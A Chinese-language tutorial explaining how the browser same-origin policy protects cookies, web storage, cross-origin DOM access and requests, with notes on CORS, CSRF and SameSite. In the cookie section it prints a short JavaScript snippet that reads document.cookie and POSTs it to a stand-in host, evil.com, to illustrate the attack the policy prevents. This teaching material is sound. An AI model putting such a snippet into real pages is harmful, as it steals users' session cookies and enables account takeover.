同源策略是浏览器最核心的安全机制之一,用于限制不同源的网页脚本互相访问数据,它的核心是防止恶意网站窃取用户数据(如Cookie,LocalStorage)
一. 是如何实现防止恶意网站窃取用户数据的
1. 禁止跨域读取敏感数据
(1)cookie隔离
-
问题场景:
用户登录
https://bank.com后,浏览器存储了该域的 Cookie。 如果恶意网站https://evil.com能随意读取bank.com的 Cookie,就能伪造用户身份。 -
没有同源策略怎么实现上述场景 ?
直接读取cookie
攻击方式:JS访问document.cookie
如果同源策略不存在,恶意网站的JS可以直接读取bank.com的Cookie javascript
// 假设用户在 bank.com 登录,Cookie 存在
const bankCookies = document.cookie; // 直接获取所有 Cookie
fetch("https://evil.com/steal", {
method: "POST",
body: JSON.stringify({ cookies: bankCookies })
});
- 同源策略的防护
evil.com的 JavaScript 无法读取bank.com的 Cookie。- 浏览器仅在向
bank.com发请求时自动携带它的 Cookie(需符合 Cookie 的SameSite规则)。
(2)LocalStorage/SessionStorage 隔离
- 问题场景:
bank.com在 LocalStorage 中存储了用户令牌(Token)。 - 同源策略的防护
evil.com的脚本无法访问bank.com的 Storage,否则能直接窃取令牌。
2、禁止跨域操作DOM
- 问题场景 恶意网站evil.com内嵌bank.com的iframe,食入篡改登陆表单或窃取输入内容
- 同源策略的防护
evil.com的 JavaScript 无法访问iframe.contentDocument(跨域 iframe 的 DOM)。- 除非双方显式通过
postMessage通信(需严格验证origin)。
3、限制跨域网络请求
(1)AJAX/Fetch 请求拦截
-
问题场景:
evil.com偷偷向bank.com/api/transfer发起 POST 请求转账(利用用户已登录的 Cookie)。 -
同源策略的防护:
- 默认禁止跨域 AJAX 请求(除非目标服务器通过 CORS 显式允许)。
- 服务器可通过检查
Origin头拒绝恶意请求。
(2)CSRF 攻击缓解
- 虽然同源策略不能完全阻止 CSRF(跨站请求伪造),但结合
SameSite Cookie和 CSRF Token 可增强防护。
4、为什么这些限制可以生效?
(1)浏览器沙箱化执行环境
- 每个源的 JavaScript 运行在独立的“沙箱”中,无法直接访问其他源的内存或 DOM。
(2)请求的 Origin 头强制校验
- 浏览器自动在所有跨域请求中添加
Origin: https://evil.com,服务器可据此拒绝请求。
(3)安全默认原则(Secure by Default)
- 默认禁止 所有跨域敏感操作,只有显式声明(如 CORS、
postMessage)才允许。